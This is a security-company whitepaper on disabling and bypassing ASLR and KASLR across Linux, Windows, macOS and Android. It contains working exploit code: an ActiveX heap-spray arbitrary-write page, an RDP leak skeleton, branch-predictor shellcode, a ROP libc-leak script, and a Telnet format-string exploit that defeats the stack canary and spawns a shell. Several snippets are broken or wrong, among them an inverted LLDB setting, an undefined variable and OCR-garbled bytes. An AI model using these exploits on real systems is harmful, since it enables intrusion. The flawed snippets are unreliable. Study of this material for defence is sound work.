ASLR Exploitation Techniques

HADESS

WWW.HADESS.IO

AND THERE WILL BE BUGS WHICH WORK THERE TOO. WE POPPED SHELLS ON IPHONES FOR OVER 10 YEARS NOW AND AS WITH EVERY NEW MITIGATION IT TAKES TIME TO FIND A BYPASS BUT IN THE HISTORY THERE WAS ALWAYS ONE

DEP=>ROP

ASLR=>LEAK

KPP=>BYPASS

KTRR=>WORKAROUND

PAC=>DESIGN FLAW

TABLE OF CONTENT

Modify Kernel Parameter (Linux)
Compiler Options (Windows)
Windows Registry
Windows Security Settings
Use Setarch (Linux)
Disabling ASLR in Windows (Visual Studio)
Using SetDllCharacteristic (Windows)
Using LLDB (Disable ASLR for Debugging)
Change Mach-O Flags (Python Script)
Buffer Overflow to Control EAX Remote ASLR Leak in Microsoft's RDP Client through Printer Cache Registry (CVE-2021-38665)
RET2ASLR
Leak KASLR via startup_xen
Android BINDER_TYPE_BINDER
ROP
ASLR information leak via Safe-Linking and tcache or fastbin chunks
Return To PLT Lead to ASLR Bypass
Generic Methods
EntryBleed: Breaking KASLR under KPTI with Prefetch (CVE-2022-4543)

ASLR Exploitation Techniques

Address Space Layout Randomization (ASLR) is a security technique used in operating systems to protect against certain types of cyber attacks, particularly buffer overflow attacks. Here's an overview of ASLR:

What is ASLR? ASLR is a feature implemented in modern operating systems that randomizes the memory addresses used by system and application processes each time they are executed. This randomization makes it difficult for attackers to predict the location of specific processes and system components in memory, which is often necessary for successful exploitation.

How ASLR Works: When a program is loaded into memory, ASLR randomly arranges the address space positions of key data areas of the process, including the base of the executable, and the positions of the stack, heap, and libraries. This means that even if an attacker discovers a vulnerability in a program, exploiting it becomes much harder because the malicious payload must be delivered to a memory location that changes unpredictably.

Benefits of ASLR:

* **Increased Security**: By making it harder for attackers to predict where programs and their components are loaded in memory, ASLR significantly reduces the risk of successful buffer overflow attacks.
* **Mitigation of Exploits**: ASLR is particularly effective against exploits that rely on the attacker knowing the address of the process or data to hijack the program's execution flow.

Limitations of ASLR: While ASLR is a powerful security feature, it is not foolproof. Attackers can use techniques like brute-forcing to guess the randomized addresses, or they may exploit other vulnerabilities that do not rely on address predictability. Additionally, ASLR is less effective if there is not enough entropy (randomness) in the memory address space, which can sometimes be the case in systems with limited resources.

Implementation Across Platforms: ASLR has been implemented in various forms across all major operating systems, including Windows, macOS, Linux, iOS, and Android. Each system has its own method and degree of randomization, contributing to the overall effectiveness of ASLR as a security measure.

Modify Kernel Parameter (Linux)

Command:

```
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

Requirements: Root access
Difficulty: Easy

Compiler Options (Windows)

Code: Use `/DYNAMICBASE:NO` in Visual Studio
Requirements: Visual Studio
Difficulty: Moderate

Windows Registry

Command: Modify `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages`
Requirements: Administrative privileges
Difficulty: Moderate

Windows Security Settings

Action: Change "Randomise memory allocations" to "Off by default" in Windows Security
Requirements: Windows 10 or later
Difficulty: Easy

Use Setarch (Linux)

Command: `setarch \ uname -m -R $SHELL`
Requirements: setarch utility
Difficulty: Moderate

Disabling ASLR in Windows (Visual Studio):

Command/Code: In Visual Studio, opt out of ASLR by setting `/DYNAMICBASE:NO` in the project's configuration properties under Linker -> Advanced -> "Randomized Base Address".

Requirements: Visual Studio
Difficulty: Moderate

```
https://stackoverflow.com/questions/9560993/how-do-you-disable-aslr-address-space-layout-randomization-on-windows-7-x64
https://stackoverflow.com/questions/9560993/how-do-you-disable-aslr-address-space-layout-randomization-on-windows-7-x64
```

Using SetDllCharacteristic (Windows):

Command/Code: Use the tool `setdllcharacteristics` by Didier Stevens with the `-d` option to disable ASLR.
Requirements: SetDllCharacteristic tool
Difficulty: Easy

```
https://blog.securitybreak.io/reverse-engineering-tips-disabling-aslr-212835eb5acc
https://blog.securitybreak.io/reverse-engineering-tips-disabling-aslr-212835eb5acc
```

Using LLDB (Disable ASLR for Debugging):

Command/Code: When debugging with LLDB, you can disable ASLR for the target process by setting the following option:

```shell
(lldb) settings set target.disable-aslr false
```

Requirements: LLDB (the debugger)
Difficulty: Easy
Use Case: This is useful when you want to replicate specific conditions (such as segfaults) that only occur when ASLR is enabled[1].

Change Mach-O Flags (Python Script):

Command/Code: Use the Python script `change_mach_o_flags.py` to set the `MH_NO_HEAP_EXECUTION` bit by default. If you specifically want to change the PIE (Position-Independent Executable) flag, use:

```python
python change_mach_o_flags.py --executable-heap --no-pie <path_to_mach_o>
```

* Requirements: Python and the `change_mach_o_flags.py` script
* Difficulty: Moderate
* Use Case: Useful for modifying specific flags in Mach-O binaries2.

Buffer Overflow to Control EAX

To summarize the exploitation steps described:

1. Identify Controlled Pointer: Discover a pointer in the program's memory that can be controlled through a buffer overflow. In the provided example, the address `.data:10092068` is identified.

2. Exploit SetFontName Method: By controlling the pointer mentioned above, manipulate the program flow to execute desired code. In this case, the pointer is passed to `sub_10058BAA` via `SetFontName`, allowing control over the `EAX` register.

3. Arbitrary Write: Utilize the controlled `EAX` to perform an arbitrary memory write, such as overwriting the length of a JavaScript string. The `memcpy` function is abused to write arbitrary data to a specified memory address.

Here's a step-by-step guide to achieve an arbitrary memory write using JavaScript:

JavaScript

```
<!DOCTYPE HTML>
<script>
// Create VideoPlayer.ocx ActiveX Object
var obj = document.createElement("object");
obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-
718B565FA67B");

// Heap spray to allocate memory around 0x10101020
var data = "\u2222\u2222"; // Filler data
while (data.length < 0x80000) { // Repeat filler data until
heap is sprayed
    data += data;
}
var div = document.createElement("div");
for (var i = 0; i <= 0x400; i++) {
    div.setAttribute("attr" + i, data.substring(0, (0x80000 -
2 - 4 - 0x20) / 2));
}

// Address to write to (0x10101020 + 0xC)
var addr = "\x20\x10\x10\x10";

// Prepare buffer with address to write to
var ptrBuf = "";
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) {
    ptrBuf += "A";
}
ptrBuf += addr;

// Overflow buffer and overwrite the pointer value after buffer
obj.SetText(ptrBuf, 0, 0);

// Use overwritten pointer to write 0xcafebabe to address
0x1010102C
obj.SetFontName("\xbe\xba\xfe\xca");

</script>
```

This JavaScript code leverages the vulnerability to perform an arbitrary memory write. It creates an ActiveX object, allocates memory using heap spraying, prepares a buffer to overflow and overwrite a pointer, then triggers the overflow to write arbitrary data to a specified memory address.

This method demonstrates how an attacker could bypass ASLR and achieve arbitrary code execution by leveraging controlled pointers and exploiting vulnerable methods in a program.

BY HTTPS://TWITTER.COM/RH0_GZ

Remote ASLR Leak in Microsoft's RDP Client through Printer Cache Registry (CVE-2021-38665)

To implement an ASLR (Address Space Layout Randomization) leak method similar to the one described in the article, you would typically follow these steps:

1. **Craft a Malicious PDU (Protocol Data Unit):** Prepare a specially crafted PDU that triggers the vulnerability in the target application. This PDU should be designed to cause the target to leak memory contents into a predictable location, such as a registry key or network channel.

2. **Send the Malicious PDU:** Establish a connection with the target application, typically over a network protocol like RDP (Remote Desktop Protocol), and send the crafted PDU to the target. This step requires understanding the protocol and knowing how to interact with the target application.

3. **Exploit the Memory Leak:** Once the target application receives the malicious PDU, it should exhibit behavior that leaks memory contents into a predictable location. In the case described in the article, the memory leak occurs due to a bug in the way the target handles registry key creation based on the received PDU.

4. **Retrieve the Leaked Memory Contents:** After causing the target application to leak memory contents, you need to retrieve these contents from the target's system. This might involve reconnecting to the target, triggering it to send the leaked data back, or directly reading the leaked data from the target's memory.

5. **Use the Leaked Information:** Finally, analyze the leaked memory contents to extract useful information. This might include extracting addresses or other sensitive data that could be used in further exploitation attempts.

Here's a basic outline of how you might implement these steps using Python and the `socket` library for network communication:

malicious pdf like this:

```
char leak heap[] = {
//DR PRN ADD CACHEDATA
0x52, 0x50, 0x43, 0x50, / Header
0x01, 0x00, 0x00, 0x00, // EventId
0x43, 0x4f, 0x4d, 0x32, 0x00, 0x00, 0x3a, 0x00, // PortDosName
0x00, 0x00, 0x00, 0x00, / / PnpNameLen
oxza, 0x00, 0x00, 0x00, // DriverNameLen
ox2a, 0x00, 0x00, 0x00, // PrintNameLen
0x00, 0x00, 0x00, 0x00, // CachedFieldsLen
// DriverName
0x42, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x74,
0x00, 0x68, 0x00, 0x65, 0x00, 0x72, 0x00,
0x20, 0x00, 0x44, 0x00, 0x43, 0x00, 0x50,
0x00, 0x2d, 0x00, 0x31, 0x00, 0x30, 0x00,
0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x55,
0x00, 0x53, 0x00, 0x42, 0x00, 0x00, 0x00,
// PrinterName
0x42, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x74,
0x00, 0x68, 0x00, 0x65, 0x00, 0x72, 0x00,
0x20, 0x00, 0x44, 0x00, 0x43, 0x00, 0x50,
0x00, 0x20, 0x00, 0x31, 0x00, 0x30, 0x00,
0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x55,
0X00, 0x53, 0x00, 0x42, 0x00, 0x20, 0x00,
0x61, 0x62, 0x63, 0x64
};
```

PYTHON

```
import socket
import time

# Craft the malicious PDU
malicious_pdu = b'\x52\x50\x43\x50...'  # Crafted PDU data

# Establish connection with the target
target_ip = 'target_ip_address'
target_port = 3389  # RDP port
target_socket = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
target_socket.connect((target_ip, target_port))

# Send the malicious PDU to the target
target_socket.sendall(malicious_pdu)

# Close the connection (optional, depending on protocol
behavior)
target_socket.close()

# Wait for the target to reconnect (if necessary)
time.sleep(20)  # Adjust as needed

# Reconnect to the target to retrieve leaked data
# (This step depends on the specific protocol and application
behavior)

# Analyze the leaked data and extract useful information
# (This step requires understanding of the target application
and memory layout)
```

PYTHON

RET2ASLR

To implement the RET2ASLR attack, you'll need to carefully craft your exploit code to take advantage of the behavior of the Branch Target Buffer (BTB) and Return Stack Buffer (RSB) in certain CPUs. Below, I'll outline the steps and provide some example code snippets:

1. Crafting the victim code: You'll need a victim program that contains a return instruction (`ret`). This instruction will write its randomized return pointer into the BTB, which will be exploited by the attacker.

```c
#include <stdio.h>

void f1(){
    // Victim function
    for(register int i=0;i<200;i++){}
}

int main(){
    // Main function
    printf("Dst: %p\n",f1);
    while (1)
    {
        f1();
    }
}
```

2. Crafting the attacker code: The attacker's code will create the conditions necessary to exploit the victim program. This includes finding a BTB collision with the victim and mapping the victim's virtual address range in the attacker process.

```c
// Shellcode to mimic victim's branch sequence
uint8_t g1[] =
"\xbb\x00\x00\x00\x00\xeb\x03\x83\xc3\x01\x81\xfb\xc7\x00\x00\x
00\x7e\xf5\x90\x90\x90\x90\xff\x27";

// Allocate memory for attacker code and victim shellcode
uint8_t *rwx1 = requestMem(NULL,0x100000);
uint8_t *rwx2 = requestMem(NULL,0x1000*simPages);

// Set up source mimic gadget into all possible 20-lsb aligned
positions
for(unsigned i=0;i<0x100;i++){
    memcpy(rwx1+i*0x1000UL+SRCOFFSET, g1, sizeof(g1));
}

// Real indirect branch destination does nothing
rdiPtr = (uint8_t *)f1;

// Mispredicted destination jumps to leakGadget
for(uint64_t i=0;i<simPages;i++){
    copyLeakGadget(rwx2 +i*0x1000UL + DSTOFFSET);
}
```

3. **Executing the attack:** Once the attacker code is prepared, execute it on the same CPU core as the victim process. Trigger the victim code path with the targeted return multiple times to leak the victim's address through the BTB.

4. **Analyzing the results:** The attacker can use flush+reload techniques to check if the `ProbeArray` was speculatively accessed. If it was, then a leak gadget was located at the destination of the victim return instruction.

These steps outline the basic process of the RET2ASLR attack. Remember that actual implementation may vary depending on the target CPU architecture and system configurations.

by https://twitter.com/andersonc0d3

Leak KASLR via startup_xen

To exploit the ASLR (Address Space Layout Randomization) leak described in the conversation, you would need to perform the following steps:

1. **Access /sys/kernel/notes**: As a non-privileged user, you can access the `/sys/kernel/notes` file to obtain information about the load address of `startup_xen`.

2. **Identify addresses**: Retrieve the load address of `startup_xen` from the `/sys/kernel/notes` file. This address is exposed due to Xen spewing addresses into the notes section.

3. **Calculate KASLR offset**: Use the obtained load address of `startup_xen` along with the known address of `commit_creds` to calculate the KASLR offset. This calculation involves subtracting the difference between the load addresses of `startup_xen` and `commit_creds` from the exposed load address of `startup_xen`.

4. **Exploit**: With the calculated KASLR offset, you can potentially bypass ASLR protections by determining the address of critical kernel functions, such as `commit_creds`, which can be leveraged for privilege escalation or other security attacks.

Here's a basic Python code snippet that demonstrates the calculation of the KASLR offset:

```python
def calculate_offset(startup_xen_load_addr, startup_xen_build_addr, commit_creds_build_addr):
    # Calculate the KASLR offset
    kaslr_offset = startup_xen_load_addr - (startup_xen_build_addr - commit_creds_build_addr)
    return kaslr_offset

def main():
    # Load addresses obtained from /sys/kernel/notes
    startup_xen_load_addr = 0xffffffffbc265180
    # Build addresses obtained from other sources (e.g., System.map)
    startup_xen_build_addr = 0xffffffff82465180
    commit_creds_build_addr = 0xffffffff810ad570

    # Calculate the KASLR offset
    kaslr_offset = calculate_offset(startup_xen_load_addr, startup_xen_build_addr, commit_creds_build_addr)

    print("KASLR Offset:", hex(kaslr_offset))

if __name__ == "__main__":
    main()
```

Replace the placeholder load and build addresses with the actual addresses obtained from your system. Then run the script to calculate the KASLR offset.

by https://twitter.com/c0m0r1/status/1778296125386285128

Android BINDER_TYPE_BINDER

This ASLR (Address Space Layout Randomization) leak exploits a vulnerability in the interaction between the kernel `/dev/binder` and the usermode `Parcel.cpp` in Android systems. When a binder object is passed with certain types (`BINDER_TYPE_BINDER` or `BINDER_TYPE_WEAK_BINDER`), a pointer to that object in the server process is leaked to the client process as the cookie value. This leads to a leak of a heap address in many privileged binder services, including `system_server`.

Here's a simplified version of the steps to exploit this vulnerability:

1. Open **`/dev/binder`**: The exploit program opens the `/dev/binder` device to interact with the binder framework.

2. Obtain binder objects: The exploit program performs operations that result in the passing of binder objects with specific types (`BINDER_TYPE_BINDER` or `BINDER_TYPE_WEAK_BINDER`). These operations are designed to trigger the vulnerability and leak heap addresses.

3. Leak heap addresses: As a result of passing the binder objects, heap addresses are leaked to the client process as cookie values. These leaked addresses can provide valuable information to an attacker about the memory layout of the system, potentially aiding further exploitation.

4. Exploit the leaked addresses: With the leaked heap addresses, an attacker could potentially devise further attacks targeting specific memory regions or functions within the system, such as `system_server`.

The provided output from running the exploit program demonstrates the leaked heap addresses in the `system_server` process.

To exploit this vulnerability, an attacker would typically craft a malicious program or script that interacts with the binder framework, using the knowledge of the vulnerability to leak heap addresses and potentially escalate privileges or perform other malicious actions.

```
https://bugs.chromium.org/p/project-zero/issues/detail?id=889
```

ROP

To summarize the ASLR (Address Space Layout Randomization) leak method described in the article:

1. **Understanding ROP and ASLR**: ROP (Return Oriented Programming) is used to bypass NX protection and participate in thwarting ASLR. ASLR randomizes the base addresses in the stack and libc, making exploitation more challenging.

2. **Classic ROP Method Overview**:
   * **ret2plt to puts**: Leaks a libc address by executing any function imported into the binary via the Procedure Linkage Table (PLT). Involves constructing a ROP chain.
   * **ret2main**: Restarts the program without reloading ASLR.
   * **ret2libc to system**: Executes `system()` from libc.
3. **Ret2plt Method**:
   * Use `objdump -R <binary>` to find functions imported from libc and their addresses in the Global Offset Table (GOT).
   * Construct a ROP chain to execute `puts()` with an argument pointing to a libc address (e.g., address of `__isoc99_scanf`).
   * The ROP chain structure: `ropchain = addrPltPuts + popNgadgetRet + arg1 + ... + argN`.
4. **Finding Gadgets**:
   * Use tools like ROPGadget to extract gadgets from the binary. Look for gadgets like `pop ebx; ret` for manipulating stack values.
   * Gadgets are used to construct the ROP chain.
5. **Constructing ROP Chain**:
   * Construct a ROP chain with the necessary gadgets and arguments to execute `puts()` and leak libc addresses.
6. **Leaking libc Address**:
   * Test the ROP chain to ensure it leaks the desired libc address (e.g., `scanf()`).
   * Use the leaked address to calculate the address of `system()` and `/bin/sh` string.
7. **Ret2libc to system**:
   * Calculate the address of `system()` using the leaked libc address and the offset.
   * Calculate the address of `/bin/sh` using libc symbols.
   * Construct a new ROP chain to execute `system("/bin/sh")`.
8. **Testing**:
   * Test the complete ROP chain to ensure it successfully spawns a shell.

9. 64-bit Considerations:

* In 64-bit, arguments are passed via registers, so pop gadgets correspond to the right registers.
* There's a "magic gadget" in libc for directly executing a shell without knowing the address of `system()` or `/bin/sh`.

Python

```python
from pwn import *

# Set up the binary and establish connection
elf = ELF('vulnerable_binary')
p = process(elf.path)

# Find gadgets using ROPgadget
pop_eax_ret = 0x080b8122  # Example gadget
pop_edx_ecx_ebx_ret = 0x0806ef35  # Example gadget
int_80 = 0x0806ef35  # Example gadget

# Craft ROP chain to leak ASLR address
payload = b"A" * 100
payload += p32(pop_eax_ret)  # Set up EAX to syscall number
payload += p32(0x14)  # Syscall number for sys_getpid (0x14 on
x86)
payload += p32(pop_edx_ecx_ebx_ret)  # Prepare EDX, ECX, EBX
for syscall
payload += p32(0x0)  # EDX: not used for getpid
payload += p32(0x0)  # ECX: not used for getpid
payload += p32(elf.got['write'])  # EBX: address of GOT entry
of 'write'
payload += p32(int_80)  # Trigger syscall to write GOT entry
of 'write' to STDOUT

# Send payload and receive leaked address
p.sendline(payload)
leaked_write = u32(p.recv(4))

# Calculate base address of libc from leaked 'write' address
libc_base = leaked_write - libc.symbols['write']
print("Libc base address:", hex(libc_base))

# Close connection
p.close()
```

ASLR information leak via Safe-Linking and tcache or fastbin chunks

The `malloc` function in the GNU C Library (glibc) since version 2.26 may return a memory block containing another valid memory block pointer, potentially leading to information disclosure. This occurs because the `tcache_get()` function of the per-thread cache (tcache) feature does not clear the `e->next` pointer.

Proposed Patch:

Shell

```
diff --git a/malloc/malloc.c b/malloc/malloc.c
index ee87ddbbf9..970e4b5e3d 100644
--- a/malloc/malloc.c
+++ b/malloc/malloc.c
@@ -2936,6 +3074,7 @@ tcache_get (size_t tc_idx)
   tcache->entries[tc_idx] = e->next;
   --(tcache->counts[tc_idx]);
   e->key = NULL;
+  e->next = NULL;
   return (void *) e;
 }

@@ -3613,6 +3614,7 @@ _int_malloc (mstate av, size_t bytes)
             *fb = REVEAL_PTR (victim->fd);
           else
             REMOVE_FB (fb, pp, victim);
+          victim->fd = NULL;
           if (__glibc_likely (victim != NULL))
             {
               size_t victim_idx = fastbin_index (chunksize
(victim));
```

* The patch clears the `e->next` pointer in the `tcache_get()` function to prevent information disclosure.
* Additionally, it clears the `victim->fd` pointer in the `_int_malloc()` function for fastbin chunks.
* Performance impact: Minimal, as the data is likely already in cache and the write operation is cheap.

BY https://sourceware.org/bugzilla/show_bug.cgi?id=25945#c5

Return To PLT Lead to ASLR Bypass

This PoC connects to the vulnerable service using Telnet, sends a format string payload to leak addresses, extracts the leaked stack canary and libc address, crafts an exploit payload to achieve arbitrary code execution, and finally interacts with the obtained shell.

```python
from telnetlib import Telnet
from struct import pack

# Function to convert addresses to little endian format
p = lambda x: pack("<Q", x)

# IP and port of the target
target_ip = "192.168.1.4"
target_port = 5555

# Connect to the vulnerable service
tn = Telnet(target_ip, target_port)

# Craft format string payload to leak addresses
format_str_payload = "%lx-" * 15

# Send format string payload
tn.write(format_str_payload.encode())

# Read the output until the prompt for the secret code
output = tn.read_until(b"Code:")

# Split the output by '-' to extract leaked addresses
addresses = output.decode().split("-")

# Extract the stack canary and libc address
stack_canary = int(addresses[-2], 16)
libc_address = int(addresses[4], 16) - 0x59e4c0  # Adjust
offset for libc base

# Print the leaked addresses
print("[+] Leaked Stack Canary:", hex(stack_canary))
print("[+] Calculated Libc Base:", hex(libc_address))

# Craft the payload for exploitation
one_gadget_offset = 0x43b88
pop_rdi_offset = 0x22a2f
setuid_offset = 0xc67a0

one_gadget = p(libc_address + one_gadget_offset)
pop_rdi = p(libc_address + pop_rdi_offset)
setuid = p(libc_address + setuid_offset)
null_bytes = b"\x00" * 8

payload = b"A" * 136  # Padding to reach stack canary
payload += p(stack_canary)  # Overwrite stack canary
payload += b"B" * 8  # Padding to reach return address
payload += pop_rdi  # Return address to pop rdi; ret
payload += null_bytes  # Null bytes for setuid argument
payload += setuid  # Address of setuid
payload += one_gadget  # Address of one gadget

# Send the crafted payload
tn.write(payload + b"\n")

# Interact with the shell
print("[+] Exploit sent! Interacting with the shell...")
print(tn.read_all().decode())
```

CPU Registries

CPU registers play a crucial role in various aspects of computing, including exploitation techniques to find ASLR (Address Space Layout Randomization) addresses. Here's a list of important CPU registers along with examples of how they can be used in proof-of-concept (PoC) code to find ASLR addresses:

EAX (Extended Accumulator Register):

* Used to hold data, memory addresses, or return values.
* In PoC code, you can leverage EAX to store addresses leaked from memory. For example, in x86 assembly:

```
mov eax, [leaked_address]
```

ESP (Stack Pointer Register):

* Points to the top of the stack.
* Can be manipulated to control the stack frame and execute shellcode.
* In PoC code, you can adjust ESP to navigate the stack and access memory regions. For example, in Python:

```python
import struct
# Adjust ESP to point to a specific address
esp_value = 0xbffff6d0  # Example value
shellcode = "\x90\x90\x90\x90\x90\x90"  # Example shellcode
payload = "A" * 1000 + struct.pack("<I", esp_value) + shellcode
```

EBP (Extended Base Pointer Register):

* Acts as a reference point for accessing function parameters and local variables on the stack.
* In PoC code, you can manipulate EBP to control the stack frame and execute ROP (Return-Oriented Programming) attacks. For example, in C:

```c
#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[100];
    strcpy(buffer, input);
}

int main() {
    char payload[200];
    // Craft the payload with controlled EBP value
    // Adjust EBP to control the stack frame
    memset(payload, 'A', 100);
    // Set EBP to the desired address
    *((unsigned int*)(payload + 100)) = 0xdeadbeef;  //
Example value
    // Append shellcode or additional payload
    strcpy(payload + 104, "\x90\x90\x90\x90\x90\x90");
    vulnerable_function(payload);
    return 0;
}
```

EIP (Instruction Pointer Register):

* Points to the next instruction to be executed.
* Can be controlled to redirect program execution to arbitrary locations.
* In PoC code, you can overwrite EIP to redirect execution flow to a controlled memory address. For example, in Python:

```python
import struct
# Overwrite EIP with a controlled address
eip_value = 0xdeadbeef  # Example value
shellcode = "\x90\x90\x90\x90\x90\x90"  # Example shellcode
payload = "A" * 1000 + struct.pack("<I", eip_value) + shellcode
```

References

* https://redteamguides.com
* https://redteamrecipe.com

EntryBleed: Breaking KASLR under KPTI with Prefetch (CVE-2022-4543)

The "EntryBleed" attack, identified with CVE-2022-4543, exploits implementation issues in Linux KPTI (Kernel Page Table Isolation), allowing unprivileged local attackers to bypass KASLR (Kernel Address Space Layout Randomization) on Intel-based systems. This attack leverages the prefetch side-channel technique, specifically utilizing the TLB (Translation Lookaside Buffer), to reveal the location of critical kernel components such as the `entry_SYSCALL_64` handler.

1. Prefetch Side-Channel Technique:
   * Exploits the prefetch side-channel mechanism in x86_64 CPUs, which can reveal timing differences when loading addresses into the CPU cache based on whether they are present in the TLB or not.
2. Identifying Vulnerable Kernel Component:
   * Focuses on the `entry_SYSCALL_64` handler, which is a critical kernel component responsible for handling 64-bit system calls. This handler is mapped into user-space page tables and remains at a consistent offset from the KASLR base address.
3. Repeated Syscalls for Cache Prefetching:
   * Executes a series of syscalls to ensure that the page containing the `entry_SYSCALL_64` handler is cached in the instruction TLB.
4. Prefetching and Side-Channel Analysis:
   * Utilizes prefetch instructions (`prefetchnta` and `prefetcht2`) to trigger cache loads across a range of addresses within the kernel's address space (0xffffffff80000000 - 0xffffffffc0000000).
   * Measures the timing differences using the `rdtscp` instruction to determine whether an address is present in the TLB or not.
5. Calculation of KASLR Base Address:
   * By observing the timing discrepancies, calculates the likely base address of the kernel (KASLR base) where the `entry_SYSCALL_64` handler is located.
6. Code Implementation:
   * Provides C code implementing the attack strategy, including functions for prefetching, timing measurements, and calculation of the KASLR base address.
   * Utilizes inline assembly for precise control over CPU instructions (`rdtscp`, `prefetchnta`, `prefetcht2`).

Generic Methods

Bypassing ASLR (Address Space Layout Randomization) can be achieved through various methods, each tailored to the specific circumstances of the target system and application. Here are some techniques along with commands and code snippets:

1. Non-ASLR Modules:
   * Some modules loaded with the software may not have ASLR enabled. You can leverage these modules instead of the main executable or protected modules.
2. Partial Overwrite:
   * Exploit vulnerabilities to perform partial overwrites. The CPU translates the partial address to a full address, effectively bypassing ASLR. For example, if the current base address is `0x1000000` and the target JMP ESP instruction is at offset `0x73AE`, sending only `0x73AE` will be translated to the full address `0x10007AE`.
3. ASLR Bruteforcing:
   * This method is more effective on 32-bit systems due to the smaller address range. ASLR provides only 8 bits of entropy on 32-bit systems. However, it's important to note that this method requires target applications not to crash when encountering invalid ROP gadget addresses or to automatically restart after a crash. Tuning the application as a child process may also help.
4. Information Leaks & Logical Bugs:
   * Exploit logical bugs or information leaks to retrieve module addresses. Certain APIs and functions can be abused to retrieve such information. For example, Win32 APIs like DebugHelp APIs (`Dbghelp.dll`) or functions like `CreateToolhelp32Snapshot` and `EnumProcessModules` can be used for this purpose. Additionally, C runtime APIs like `fopen` can also be exploited.

Here are some commands and code snippets for bypassing ASLR:

Calculate Base Address

* Retrieve a function name from the exports table and its offset. Subtract the offset from the leaked function address to obtain the base address.

```
# Example calculation
base_address = leaked_function_address - function_offset
```

Get Preferred Load Address using WinDbg

* Use WinDbg to retrieve the preferred load address of a module.

```
# Example commands in WinDbg
> dd Module + 0x3c L1   # Retrieve the offset of the PE header
> dd Module + 0x108 + 0x34 L1  # Retrieve the preferred load
address
```

These techniques require careful analysis and adaptation to the specific target environment and application.

by https://twitter.com/AzimaZeyad

HADESS

cat ~/.hadess

"Hadess" is a cybersecurity company focused on safeguarding digital assets and creating a secure digital ecosystem. Our mission involves punishing hackers and fortifying clients' defenses through innovation and expert cybersecurity services.

Website:
WWW.HADESS.IO

Email
MARKETING@HADESS.IO

To be the vanguard of cybersecurity, Hadess envisions a world where digital assets are safeguarded from malicious actors. We strive to create a secure digital ecosystem, where businesses and individuals can thrive with confidence, knowing that their data is protected. Through relentless innovation and unwavering dedication, we aim to establish Hadess as a symbol of trust, resilience, and retribution in the fight against cyber threats.